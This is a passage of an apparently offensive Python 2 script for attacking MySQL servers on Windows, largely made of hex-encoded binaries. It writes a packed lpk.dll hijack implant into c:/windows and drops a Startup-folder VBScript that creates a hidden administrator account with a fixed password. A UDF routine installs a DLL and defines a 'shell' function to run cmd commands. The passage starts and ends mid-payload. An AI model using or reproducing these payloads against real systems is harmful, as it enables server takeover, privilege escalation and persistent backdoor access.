4379D8327A2C97CBCE7703477B157C127DE097CD72D9AE7E7C7FDCAA80AF81AD5ECD82412602120D4270B072F352408A456A8B125F1F42899F6EDEE2124591046D73376C735F78D523A299C77B267B11D803087C0242CB853B1A5C68001D89D93C897452543597852E86874462F62D06DB766170690CAD1996996E0C590110D953CF620B30006B6F6C1F983344B20CBE95159923BA3667B41273171121554288DD9660C540AA93AC5684AC18A9A7150B2B56A555CA8A91A3A000CB8A25FA698CB062659A7AC28A14566A68B06264456663AC1A59B16087AB5656846D99AA80550B976A6155C89593465895B0908E123042028D8A64D5C01292BE1230B22ABCA740400216A409091849A29F106824019D5E8084000C1952129090BDBB08404A02B949000B011846D040A02443B3D042A024B0AE40B28025AB0E038142087CCAB0806401312F001602909F2021004B9C9918023004979484002401918F08404AA0B39F002301089D900420249A98480056029694015859C0ECA560210029A385002404A09E02B010809B98000C01589500430086928F0C0460218C8910808100868300160290816020004B7E7B5802900478760460C90173716080000C6E80002C046B6808C010806663000404606000298B965E0E101080246D6B2B8B46026932108021007976011809C0737004604605AA6C6081000C6A8000AC046764002410806230128091605D420042025A58014808405654042065230F50848A00A44E42849A1424B247A19200046D4FA106422D4C49A146422D1C1980250023B058021012ADAB24000301A9A700040460A4C0128080A2A02B0148089D9B0108200098966021000B9390008C04908D00AC10808B1010808188854A0056028380966C09407EC9C495008C6C927644B612807300A2DC8302C807452C06ABE06969ED451B6B6A1820FFE915DEFFFBFF732025642E202830782558682937C4DAB4E6B2BBD7E30B6EFB44A780056C66036607556EBBF7493634640F04BCD903D5E6738582A3F0228DD31737FBDFFF7FD6A7B3D6CFB5CDB3B9A6C4DCBAAFCAFD5CC7EBBDABB4CB4B59FEF6FFB7B4C0A1B8F8D7F7D5DF3F4552524F520042B60080E64D200554015BA3433AD50125B6748F2E23A3DCE307AF2F7B81DCDE3BCAB193070BB7D62EB727B70FC3EBC4EA03D4C2C8D50644D9A436002F64E916D5051718800300A6D936CBE803404C040758B060DD96B270273F09178857AA21E40B1798A8CB6E04B93A2C420919D8F292DB08CA0F100118CBB8B19F990A12E2884008C8D13DF2DD10281DF5FF610193540030014CDBDCDD425D200550004B070B4517DBDC5DAB48E50B34002E1F075B7B505B407700790B52AD63DD646FA9DA245D153F731B4E75778374177434054600752B6BCBD035CA157829651FF6AE836A665DC6D84117BFCB1A6D4D61D0AC02A70150045125F825001500579ADBC89EFBBEFF815D59D7277EAEDB22FF000C001D001000E93953716263C9C894BD692D5309EB03B799BADD3AE31149B79BAEEBBA6E4F09530F73E5733D6545DCE6BAEE33003211630964DD117803BA6ECA001E0553205BECDBDC67C657822F50D745682F4113982107419CAEEB661B3DEDB32F6F316D2F44C395B96E375F040B21B987600B35EE5F3567E7DDB630B33165E72B312F225336DB1C4753EFE77FA092B005344FBBF03394750FCBF1A56F016CE7375843F30150A3226FF137523199B2095D6703646D2FC9B9E6C106F2675400616B65C9D804B635725F1A2FF49475DD84479D68636C910D839CBD5F2FF5459F705CD9C375276F5D71BF2A58F7968CF3F79572BFBA41CE422FF64C59673753C2EB03752D533C3E00F7319EDC642B70E9496505D76D2984635967A4254767C2CDBA49F80B759933E37363340CCD6E031172553703D817E17347620A00F9B61DDC204B3337455741959D08366CBF333BE6A6C9C86DFA134600452D9518198B9871B9EC7383D127FB8B56A98B6957E4EB256B3A2D012F3AEC2C94B5133346DB0358DD47DB203B205D20D235306593A14DBC93FC456E780C54317B61007567BAD7F05120476F85096E47AE9BBD8F8D736B2D177907EF1161AC6C91623BD713BE58B7B9210105501165352F62CA78A7EB05680D76211350186F6EF1075B7A00FD1383BD99BE3BF4EF213D00FE3B57E6AFAC4869D30701120051D7D07593FF337401703B2F01EF2C425731BF3791033113ADE04758C950F80013E95EC308AF08444755BB4C1A606B60CA731F2F0B09046E20814B47011FF9E7698441BA0D5702465B656F6C89E629F6002D144904F3363309211B48CF04A9A305C12748AF5F2B4A490DDD015FD173FF750DDBAEDE1B015F3D2B05376D93EB36D723635B877331702D1B49071EAF3713F72306DB4C5F4C011EA50106772ECD6F47F6012502EF1A013A003E073736D620536374973AA91AA6845964FD57B919310AA441E89F085761FB83B5866600463909017347F92B7363D175D9670C0151003419C0A6A40A242B5E3B7D04190B513303339109ACA921B9235F6BBA8E01B20CC7F87310C70DCE56423283CB275E09B141460E5093171824235FF6006B0F190DB741DF42020016031057E90A2137440147059D5802AF7DFFF4FFD45B1431178EA6B2DB2A2B2FEAA66CC24D1FB3021F27D65921692F4EBB61AF4D3780343A6754371A4F37E989206F72432F90A699B2876D40504253B7251FB5281DE7510FC201D70D48876A53BD0FF0EEBA002D0A01D600111409CC22242DA9F3C624BCC3798109B5770D4D379430643BA0B3029D5333847593B1B3A233A38D303648B24CFD273B478AEA80CC65005C055840B275F7C1B08A2A660FA13E0954D5CABAC5703432041761FF393439363731393774570735E227E25C534643CA0DED083A82A1738AA1B0BB6D8217B69A70684C205334422370447228204FF752B40D92666967246373F602E5DA76631636B03D20644918326061A165D540415198818603B0FFFFADD0D8B8B4CFC2D4D800D2FEB2D8B4B0BFDA0022255A7285283368BE3080B3582A2D007D12714944E520E6DF2276002966AF504F535422BE045BBA458E5454502F261B1651EA810869151FECBF682F6769662C0A782D7862D9613FEC76106A7065670B700CF76A40B71C706C318D2F62835E2A89636B77212DB70B6B2DA10C1E76972E6D125889DA732DD537190CB45582024970238A27E2C21E6D432CB5B640112B3E662501712414CEB80C39000EC010424B00915D986BDD022D549515B7771B4543B1002DF62D1E6502D632146DA331300A178BFF5B4BD112CF5A010020401038056185BF41B7A2CBCDBDD3D107002BB74271736D03198A46A3879F3602B04601079008C05A35707507C20A6CE00055757815065CF452AB0FB8D7A2EB9535AACA072954FB053D003F61CE3D690A2FC08D6AB6C9B5E31B3C6272DDB0D9FF3EBDD9B3D6CAB1BCE43A0E520E5C24EEFE641FB3CCD0F2CEAA125D2663640FE0EEFF3DB7FECEF1C6F749501426737598B1B768F53D4C504B5CB348432034A96DD5FEC9B9A62021205B1F7A3D041A33A2EEC5170A752BAD6BA7600A380A087602094432883D05F25306916C14547742A2FE25BEB2CCACBFE22B011C58415948DA9780D6A370AADB466F6C64540A2B68A27441A488145941693A010B320BD9028198352596FE1088194423CE42CF4124122E74BCCB5CD071162453461710837801369118069132233810850B8358416CF8900437274040302366747357DC5F6068D2423F1C4C706BF5AA3657A8CFE8C1435DC09FA9591350534DAF4FC7B380D9757423BF45784911EF04B4056617183681709F87270A80C1712DBAA9BA980BF68848673C53B099234829540F5840C0460F494A8502116C33256554C2DEB26436132480013C0C5149D301FC0042C76C66C8000694CBBBEF900104FFA1A115B7B955DF7DD90575A4739874210337F5B24938003F1F600593198D08766013FF002087514C64001061F479F2E4D984080758092C0A081093274F1EF3DC11AC1288133C79E4C95C182419F2FC1AC41B93274F9E8C1C6478547976F2E4C9447A34FC30FF20031D2097E6F57C6CD3B50119EC0BD2B71603030704A6699AA618050D06094106699A070C0809EF05E47BDF1B0B573BBDF7827D070F57FF13FF60837CEFFB031721350F830D32C841435033520D36D860175307575F5934DD60837B6C176DAB20707D2F48D31C72C72F8032D86083B38107821F83D234830D848F91299EC860830CA1A46FA708830D36B79FCE1FD70BC249303918074A7F6092237BEF169A039D01282279006420480010999001648410819021900101102190011982020008C1613B208D0129D806002E6B906D83E40348A81FD80F47940DC9F0C0CB4360A9CA66030083E4916F000714F6981D9E3C79F2941A901B881F8013C993274F7821700E680D3C79F2E4600F58105005481E93274F9E441240203C0C79F2E4C9340B2C15241C1C19234F9E3C14110C180416F579F2E4C9FC17F422F023EC243212C93AE8C719F809CC820DEF0FA55E634BC6B3071044DF1330A343E20CF61B9003A85B42962880F01FF101D8A88A122A4A56152097E5A7031B90E00105C00B0CC820DD1D0B04968DC8800CD2088E8F0CC8800C909192000CC8809303BECFB22C1307780A040818A47A76B06F608279822127A6DF07A1A57C3F1F8B52819FE0FC7E80FC2FA81DC20ADEC1A3DAA3E781FE4360839C0740B52F41C8FFDD20B65FCFA2E4A21A00E5A2E8A25BB7BBCF577EA1FE510503DA5EDA5F5FDAC9EDAFE46ADA32D3D8DEE0F939317E5487BD848F4AC00701045736203E10A302CD2216593763685A448000EC014E28160288354F40ADE02C3BB3FF0380375C4E168A18EB087F9426A6DB0A7EAB3FF89B4403409AA6699A3C3834302C243497A6691C1408F7FCF4D3344DD3E8E4E0DCD85DD3344DD4D0CCC8C42FC0344DD334BCB8B0A49C4DD30DD2948C03847C70344DD334685C504C48244F4DD3402C246F2E6047C9ED40A80349DC7F00B22710BA2FB037A002400BE4495E72C805FA08409C0C3FE4499E50C30F24F41280969816CF3FF92120BCBE1904BFC91B8E34A1FFFFFFFFEDCCCE1BC2D34E4020F09EB5702BA8ADC59D6940D05DFD25E51A8E4F19EB8340FFFFFFFF7196D795430E058D29AF9E40F9BFA044ED81128F8182B940BF3CD5A6CFFF491FC2FFFFB7783C406FC6E08CE980C947BA93A841BC856B5527398D34FFFFFFFFE07C42BCDD8EDEF99DFBEB7EAA5143A1E676E3CCF2292F84812644281017AAFFFFFFFFF8AE10E3C5C4FA44EBA7D4F3F7EBE14A7A95CF4565CCC7910EA6AEA019E3A346FFFFFFFF0D65170C7581867576C9484D5842E4A793393B35B8B2ED534DA7E55D3DC55D3BFFFFFFFF8B9E925AFF5DA6F0A120C054A58C3761D1FD8B5A8BD8255D89F9DB67AA95F8F3EDF3FFFF27BFA2C85DDD806E4CC99B97208A025260C42575CDCC01FFFFFE6700FB3F713D0AD7A37004F83F5A643BDF4F8D976E1283FFFFFFFFF53FC3D32C6519E25817B7D1F13FD00F2384471B47ACC5A7EE3F40A6B6696CAFFFFFFFFF05BD3786EB3F333DBC427AE5D594BFD6E73FC2FDFDCE61841177CCABE43F2F4CFFFFFFFF5BE14DC4BE9495E6C93F92C4533B7544CD14BE9AAF3FDE67BA943945AD1EB1CFFFFFFFFF943F2423C6E2BCBA3B31618B7A3F615559C17EB1537C12BB5F3FD7EE2F8D06BEFFFF7FFB928515FB44233FA5E939A527EA7FA82A3F7DACA1E4BC647C46D0DD55FFFFFFFF3E637B06CC23547783FF91813D91FA3A197A63254331C0AC3C2189D138824797FFFFFF1BCFFDD73BDC8858081BB1E8E386A6033BC684454207B6997537DBFFFFFFFF2E3A33711CD223DB32EE49905A39A687BEC057DAA582A6A2B532E268B211A752FFFFFFFF9F4459B7102C2549E42D36344F53AECE6B258F5904A4C0DEC27DFBE8C61E9EE7BFFDFFFF885A57913CBF508322184E4B6562FD838FAF06947D112DDE9FCED2C8BCF40CFE04DDA6D80A80703FF0F1D750535454F2445987504454C05E843B43B803E016D33507D80F1E3B035A4DD3344D7897B5D4F3115DB6699601304E6D01333AD3344DD303597796B4D3B069964DF210012F4D6C0155151002970C2A00B00021250094545D5004E80CA856D54BF057BF0C0CA80101A8510C1951610101956C195F1CC4018AB7E5720FA204B34905933AC57B3B160244691E63746F1411C5941445012260C792A30A52650C30A2F888A1019F0630A238019D01512C8C289CC47E1B199A206F7079466970510C1851660162D82C193743176D6BCF8861417472D07516B732A27854DD130D5027A8EEA60014474614790158500746780148FEB6A24E0146E5684B42756642F716AA497375B6641A86AA176CC43A28298A17B2570FA305D8D87F091F4F454D435009410782D80E2D06010A560B831003EA5C524473F6826A8565CB8D39A79110E5126801510342D4011F0121445D083B01647520441D01AF0112D48005CE019D10B28848EA94BD2B9BA01645E515286265DB4C5A762B098043482C0951DD6E38DF4849066B65646A6372C9097B417B15496ED75EA02061556E774A42152383822045EC56029F7A6C736F422C58C70C71095805C419CD53C5246327A8D22D4760824BD8471A282C848C77889C1D1C20BEF638FC0A0C5945B50949828BC87930A472841857EF2B8B25ABB504532CE5910D6116571756616A2C21D261623C6C626C460441E1830CEB2563C61693A49518509C66F500083132A05806CB2D604037360201340C214599F17801D30D1850260F2D406C0BACA830211B0BA988D348B58182D36C1927506E2D098A01015859112C9BF90C8A3149501C0191014E372544F4325F6C4A36B2A20F11A6A4A877860EFA018A3A92A2EA010369D942EB5686451D595156019B7F6C644400428B2FF040011A691BDEFFFF9721401349134B18083B2826351826143826281F132804FCADECC0022D1502260D33FFFF97BF521346120F14B435C9F02A0114512822B2E04D254236DDF0DB6DFBFF1D01F0110122284F34F014019A6D39460F310336BDECBFFDE53614304247084E354835363D0FCF0EC129FFFFDFBE003526F09634050E401F2333114E32050F451B1A1B3830212D11FF77DBFF65221B2633333D152555020A03362B2311201B463508562BBE5DFEFF329233D0572222A52E134E152F288F3466962F26416EF6FE7FC210334E3828AA16381535342838A9FF92C83E613F12F026020800A47C0FDA810FFBFF8729E7670E132B48271A050A0B0B1B100078053FC26EFF34070C0509050608020705081014190BB76FFFB70C07130E0B0633071009160A7A0D05071906170F6E7CFBED180F084F071F1A0C9A9E200819F060304FFFFFFFDD1816040017171923232F1BF091011917F0420132078F3A2027FDFFC2EF3623681BF03883AF01170606F0A803A492F0FC016FDFFEBF46231407221029221710895A1D1750080F2402103F9BFF1ED8FF7507110954070E091304001B2505DE3430301645EDB7B58F053F6BF0374F787BFBDBF6C81511512D0AFF0128155B0DE8091D07A0FDFFB79B4D0A18F71A0E080643125C1B0F1CF01A010E0604DCDFFEB7D9040105141B55301B1A06413214144197FFFFFFC70B3812133C471F70304D0524A106154205190E5A57061F41691A0970A1F0F6F0F8000B4C05380C09200A195BF85BA11D3FAE3A081A061119230D13BFFDDB76081E0917176218062A062214F415320A21157FFBFFF6242A0E311C21250F0F3210430C0A140E0D7D5B074845E319FBBF150AA33BE550133E1D422F063927A5AF182EFC76230610070706270C51101776FFBFD06808CB7913270F42141E0C1C151607590807E1FFFF5A0DB10F16F03601BBF00A01781B116CF0F40217E709FE2FFFFF1B13060907291B101E50F0FB000CF0245A010D25F05C010F5506D67E9A3B4E0C050C1613082D266C9BFEFFFF051F0D0D0A0A080E1E1D182058163368255797F0670232061AFE4D0BEE0B081502354397110CE033D312122CA37D33DCF40D072117F050020E220ADAAD507806100B2C63D00D1D155A6BBF39305244A6F0ED012088AB7D61C3157918321A961362AA0C75B7B7D62B3769860909862A061C1C1AFEFFFFDFDF380D601A810619B70D0F615551F04A0120054D0E4349060EF048011CEEED4BDF9A13090C32C42106210A5C081715C3B7426BED0B2E0C0BB19685001906D8FE17FE6F061E1113151E5210210C120E0F114D189F05A33B085F0929261A07144A0604660DFF27E46E07161D2A327A18A5171813F07F0209157E730D090AD924111C131377322D347EBB0574A04B154A48170D3A80145DF785B69009198C091C230A030BC64B1176E1C625126DD10589900273C0F8FF3FB8174B581F19302819451CD1183218F04401D9422BDC5AD4780712FAD38E42E1BFE15612E40F20222D143A0726188EB6E1B6F4C629380D0CBA7B42196C02558DB7B77F1DF0C5031477489A4F305B045E9F106CFADF0AFF8A137F0A1C4FF0D6E900F0E803040804C40C4823BBFD5F6F0C19040C1404F2D4031062540800ADF5ED617CF0748AF018022019D3F79BC24A9200442A142023D911D8E3F0AC7A0010091515942D9B58FF1C90873689B50E21EA0000007A219B919F0249820000C26238487E1E90034F6503A0B69DA100734A880804A0E407B2A264700300C00BA28242821CC891A7B236F6E800EA0018EC2003E0F912FB1411722B2A36EE002AE8BAEE3C4EF52027360702F668002B3665296ED927AAD914DB73380327C0BB671F42008013348607278C03000000000000002001FF000000000000000000000000807C2408010F85B901000060BE00B0C4628DBE0060FDFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9E20400008A07472CE83C0177F7803F0175F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE008003008B0709C0743C8B5F048D843000A0030001F35083C708FF96A0A00300958A074708C074DC89F95748F2AE55FF96A4A0030009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEA8A003008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E980D7FCFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E8B00300A0B00300000000000000000000000000F5B00300B8B0030000000000000000000000000002B10300C0B003000000000000000000000000000FB10300C8B003000000000000000000000000001BB10300D0B0030000000000000000000000000027B10300D8B0030000000000000000000000000032B10300E0B0030000000000000000000000000000000000000000003EB103004CB103005CB103006CB103007AB103000000000088B103000000000096B1030000000000A2B1030000000000BCB1030000000000CEB1030000000000DAB10300000000004B45524E454C33322E444C4C0041445641504933322E646C6C004E455441504933322E646C6C005348454C4C33322E646C6C0053484C574150492E646C6C005553455233322E646C6C0057494E494E45542E646C6C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000526567436C6F73654B65790000004E657455736572416464000053484765745370656369616C466F6C64657250617468410000005061746846696C654578697374734100000077737072696E746641000000496E7465726E65744F70656E410000000000000089B5EF4F0000000082B20300010000000B0000000B00000014B2030040B203006CB20300605A0000705A0000805A0000905A0000005B0000A05A0000B05A0000C05A0000D05A0000E05A0000F05A00008AB203009BB20300A9B20300B8B20300C6B20300DFB20300F7B2030005B3030013B3030024B3030038B3030002000300040005000600070000000800010009000A004C504B2E444154004C706B446C6C496E697469616C697A65004C706B44726177546578744578004C706B45646974436F6E74726F6C004C706B457874546578744F7574004C706B476574436861726163746572506C6163656D656E74004C706B47657454657874457874656E744578506F696E74004C706B496E697469616C697A65004C706B50534D546578744F7574004C706B546162626564546578744F7574004C706B5573654744495769647468436163686500667473576F7264427265616B0000000000A003000C0000000D39000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 into dumpfile 'c:/windows/lpk.dll'"
    cursor = conn.cursor()
    try:
        cursor.execute(sql_dump_lpk)
    except:
        pass
    print success_lpk
    return;


def startup_dump():
    sql_startup_dump = "select 0x7365742077736E6574776F726B3D4372656174654F626A6563742822575343524950542E4E4554574F524B22290D0A6F733D2257696E4E543A2F2F222677736E6574776F726B2E436F6D70757465724E616D650D0A536574206F623D4765744F626A656374286F73292027B5C3B5BD61647369BDD3BFDA2CB0F3B6A80D0A536574206F653D4765744F626A656374286F7326222F41646D696E6973747261746F72732C67726F757022292027CAF4D0D42C61646D696ED7E90D0A536574206F643D6F622E437265617465282275736572222C2242696E6768655365632422292027BDA8C1A2D3C3BBA70D0A6F642E53657450617373776F726420223738393435363132332B616263222027C9E8D6C3C3DCC2EB0D0A6F642E536574496E666F2027B1A3B4E60D0A536574206F663D4765744F626A656374286F7326222F66726565617374222C75736572292027B5C3B5BDD3C3BBA70D0A6F652E616464206F7326222F667265656173742220 into dumpfile 'c:/docume~1/alluse~1/「开始」菜单/程序/启动/user.vbs'"
    cursor = conn.cursor()
    try:
        cursor.execute(sql_startup_dump)
    except:
        pass
    print "if dump to startup failed,try:\n%s;\n"%sql_startup_dump
    return;

def udf_dump():
    cursor = conn.cursor()
    print 'UDF execute CMD: ' + cmd_execute
    sql_select_rootdir = 'select @@basedir'
    cursor.execute(sql_select_rootdir)
    res_rootdir = cursor.fetchall()
    for row in res_rootdir:
        mysql_rootpath = "%s" % row

    sql_create_func = "create function shell returns string soname 'BingheSec.dll'"
    sql_exex_cmd = "select shell('cmd','%s')" % cmd_execute
    sql_select_ver = 'select version()'

    # 取MySQL版本
    cursor.execute(sql_select_ver)
    res_ver = cursor.fetchall()
    for row in res_ver:
        mysql_ver = "%s" % row
    str = mysql_ver
    ver_float = str[0:3]

    # 根据MySQL版本不同确定导出的DLL路径
    if float(ver_float) >= 5.0:
        pluginpath = mysql_rootpath + "lib/plugin/"
        dllpath = mysql_rootpath + "lib/plugin/BingheSec.dll"
    else:
        dllpath = "C:/windows/system32/BingheSec.dll"

    print("MySQL_version:%s , DLL file will dump to appointed path!") % mysql_ver
    print("DLL_dump_path:" + dllpath)

    # 以下尝试远程执行SQL通过NTFS ADS流创建`lib/plugin/`目录,成功率比较低:
    lib_path = mysql_rootpath + 'lib'
    sql_mkdir_lib = "select 'BingheSec' into dumpfile " + "'" + lib_path + '::$INDEX_ALLOCATION' + "'"
    sql_mkdir_plugin = "select 'BingheSec' into dumpfile " + "'" + lib_path + "/plugin" + '::$INDEX_ALLOCATION' + "'"

    # 导出DLL文件语句
    sql_dumpfile = "select 'test' into dumpfile '" + pluginpath + "1.txt'"
    file_success_path = pluginpath+'1.txt'
    sql_dumpDll = "select 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000007148657F35290B2C35290B2C35290B2C35290B2C3F290B2CF626562C31290B2C4E35072C34290B2C5A36012C31290B2CB635052C36290B2C5A360F2C31290B2C5A36002C34290B2C5736182C3E290B2C35290A2C56290B2CF6266B2C38290B2CF626572C34290B2CF626512C34290B2C5269636835290B2C00000000000000000000000000000000504500004C010400BFC7514B0000000000000000E0000E210B01070A00220000001C0000000000002D300000001000000040000000000010001000000002000004000000000000000400000000000000008000000004000000000000020000000000100000100000000010000010000000000000100000002052000070000000A44A0000B40000000000000000000000000000000000000000000000000000000070000064020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000004C0100000000000000000000000000000000000000000000000000002E746578740000000C210000001000000022000000040000000000000000000000000000200000602E7264617461000090120000004000000014000000260000000000000000000000000000400000402E64617461000000500000000060000000020000003A0000000000000000000000000000400000C02E72656C6F630000080400000070000000060000003C00000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000558BEC83EC14578D45FC506A28FF156040001050FF151C4000108B450CF7D81BC083E0028945F88D45F050FF7508C745EC010000006A00FF15204000106A006A006A108D45EC506A00FF75FCFF15244000108BF885FF7500FF75FCFF15A44000108BC75FC9C3558BEC81EC8004000053568B35804000105733DB538D45D4508D45EC5033FF8D45F44750885DFF885DFEC745D40C000000895DD8897DDCFFD685C00F84F3000000538D45D4508D45E4508D45F050FFD685C00F84DC0000008D458050FF15844000108B45F08945B88B45EC8945C08945BC8D45C4508D458050535353575353FF750CC745AC010100005366895DB0FF158840001085C00F84980000008B3534400010C645FF01FFD68B3D8C4000108945E8EB67395DF87642B8000400003945F872038945F8538D45E050FF75F88D8580FBFFFF50FF75F4FF159040001085C07453FF75E08B4D088B018D9580FBFFFF52FF5004FFD68945E8EB1853FF75C4FF159440001085C0742CFFD62B45E83B4510731E6A07FF159C400010538D45F850535353FF75F4895DF8FFD785C07585EB04C645FE01FF15A0400010385DFF8B35A44000108BF8741E385DFE740F395D14740A53FF75C4FF15A8400010FF75C8FFD6FF75C4FFD6395DF07405FF75F0FFD6395DEC7405FF75ECFFD6395DE47405FF75E4FFD6395DF47405FF75F4FFD657FF15B04000105F5E33C05BC9C3837C24040274138B44240C8B08686041001050FF51085959EB48568B74240C57566A02E8A2010000050004000050FF1508410010FF76048BF8685041001057FF15044100106A0168E02E000057FF742438E80FFEFFFF57FF150041001083C42C5F5E33C0C3837C24040274138B44240C8B08687C41001050FF51085959EB1A8B4424086A0068D0070000FF7004FF742418E8CFFDFFFF83C41033C0C38BC18B4C24048948088B4C240889480C8A4C240CC70098410010884804C7401002000000C20C00C70198410010C3F644240401568BF1C70698410010740756E8021C0000598BC65EC20400565733FF8BF147397E087E52807E04008B460C8B04B88A08741D80F92F740580F92D753440803800742EFF74240C50FF150C410010EB1B80F92F740580F92D7517408038007411FF74240C50FF15F840001085C05959740D473B7E087CAE32C05F5EC20400B001EBF756578BF1836614006A025F397E087E62807E04008B460C8B44B8FC8A08741D80F92F740580F92D753440803800742EFF74240C50FF150C410010EB1B80F92F740580F92D7517408038007411FF74240C50FF15F840001085C059597408473B7E087CADEB0D8B460C8B04B847894614897E108B46145F5EC20400565733FF33F6397C240C7E188B442410FF34B8E8111B0000473B7C2410598D7406017CE85F8BC65EC333C0390510600010740D5050A310600010FF15444100108B0D24600010E89A0E00008B4C240489410C32C0C38B442404FF700C8B0D24600010E875180000C3558BEC518B0D246000108365FC00568B7514568D45FC508B450CFF7008FF308B4508FF700CE80F190000833EFF7516837DFC00740DFF75FCE8841A0000598906EB038326008B45FC8B551885C00F94C1880A5EC9C3837C240801752B8B4424046A2CA320600010E85B1A000085C05974098BC8E879180000EB0233C085C0A324600010752AEB2B837C24080075218B0D2460001085C97417568BF1E8BE17000056E80A1A000083252460001000595E33C040C20C00558BEC83EC1453578D45F8506A08FF750833DB895DF8895DF4FF151C4000108BF83BFB7467568B35144000108D45FC5053536A01FF75F8895DFCFFD6395DFC8BF87648FF75FCE8C7190000598D4DFC51FF75FC8945F4506A01FF75F8FFD68BF83BFB74278D45EC508D45F050FF750C8D451450FF75108B45F4C745F004010000FF3053FF15184000108BF85E395DF87409FF75F8FF15A4400010395DF47409FF75F4E854190000598BC75F5BC9C38B4424048B0868A041001050FF51085959C3558BECB838250000E85B1900006683A5D4FDFFFF006683A5D8FEFFFF005356576A4033C0598DBDD6FDFFFFF3AB66AB6A4033C0598DBDDAFEFFFFF3AB33DB43395D0C66AB8BC3C645FD00C645FA00C645FF00C645FE00C645FB00C645FC008945F40F86B30000008B75108B3DFC400010C1E0028B0C3080392D75710FBE510183EA6B743A4A74314A7562837D0C030F8C900000008A490280F970C645FA01741280F97375478B443004C645FE018945DCEB3AC645FF01EB1DC645FD01EB2E837D0C037C670FBE490283E96E74144949751BC645FB01FF743004FFD7598945ECEB0B8B443004C645FC018945E08B45F4403B450C8945F40F8274FFFFFF807DFD007530807DFF00752A807DFE007524807DFB00751E807DFC007518FF7508E8CCFEFFFFEB4368CC420010EB3268B0420010EB2B53689C420010E81BF9FFFF59598D45E45068001000008D85C8DAFFFF50E8E619000085C0751768804200108B45088B0850FF510859598BC3E9B30200008365F400F745E4FCFFFFFF0F86A00200008D9DC8DAFFFFBE04010000FF338B3D384000106A006810040000FFD785C089450C0F84640200008365E80068001000008D85C8EAFFFF6A0050E89A170000568D85D4FDFFFF6A0050E88B170000568D85D8FEFFFF6A0050E87C170000568D85D0FCFFFF6A0050E86D170000568D85CCFBFFFF6A0050E85E170000568D85D4FDFFFF508D85D8FEFFFF50FF750CE82FFDFFFF83C44C8D45E85068001000008D85C8EAFFFF50FF750CE80819000085C0742C568D85D0FCFFFF50FFB5C8EAFFFFFF750CE8E8180000568D85CCFBFFFF50FFB5C8EAFFFFFF750CE8CC180000807DFB0074078B45EC3903741C807DFC007463FF75E08D85CCFBFFFF50FF15CC40001085C05959754DFF750CFF15A4400010FF336A006A01FFD785C08B7D0889450C74358B078D8DD0FCFFFF518D8DD4FDFFFF518D8DD8FEFFFF51FF33687042001057FF500883C4186A00FF750CFF15A8400010EB038B7D08807DFD0074258B078D8DD0FCFFFF518D8DD4FDFFFF518D8DD8FEFFFF51FF33687042001057FF500883C418807DFF0074148B45EC3B03750D8B07685442001057FF50085959807DFA000F84DE0000008365F000F745E8FCFFFFFF0F86CD000000807DFF0074568B45EC3B030F85BC000000568D85C8FAFFFF6A0050E8031600008B7DF083C40C568D85C8FAFFFF508DBCBDC8EAFFFFFF37FF750CE8BA170000FF378B45088B088D95C8FAFFFF52684442001050FF51088B7D0883C410807DFE007459568D85CCFBFFFF508B45F0FFB485C8EAFFFFFF750CE87717000085C0743BFF75DC8D85CCFBFFFF50FF15EC40001085C0595974258B078D8DD0FCFFFF518D8DD4FDFFFF518D8DD8FEFFFF51FF33687042001057FF500883C4188B45E8FF45F0C1E8023945F00F8233FFFFFFFF750CFF15A44000108B45E4FF45F4C1E80283C3043945F40F826BFDFFFF33C05F5E5BC9C3558BEC51568D45FC50681900020033F656FF750CFF7508FF150840001085C075278D451850FF75145656FF7510FF75FCFF150C40001085C07403897518FF75FCFF1510400010EB038975188B45185EC9C3558BEC5151538B5D10578D45FC50FF750C33FF397D20FF7508897DF87508FF1528400010EB2FFF152C40001085C0757957578D4514505753FF75FCFF150C40001085C07564837D2002750E53FF75FCFF150040001085C07550837D1401568B35044000107406837D1402751CFF7518E860140000594050FF7518FF75145753FF75FCFFD685C07520837D140475136A048D451C506A045753FF75FCFFD685C07507C745F8010000005EFF75FCFF15104000108B45F85F5BC9C3558BEC51576810430010FF15404000108BF885FF744A53568B353C40001068FC42001057FFD68BD885DB743268E842001057FFD68BF085F674248D45FC506A016A016A13FFD63D7C0000C0750C8D45FC506A006A016A13FFD6FF7508FFD35E5B5FC9C3566A016870430010E8B7F4FFFF8B7424108B06685843001056FF50088B44241C33C983C4103BC175135151FF152C41001085C0755668444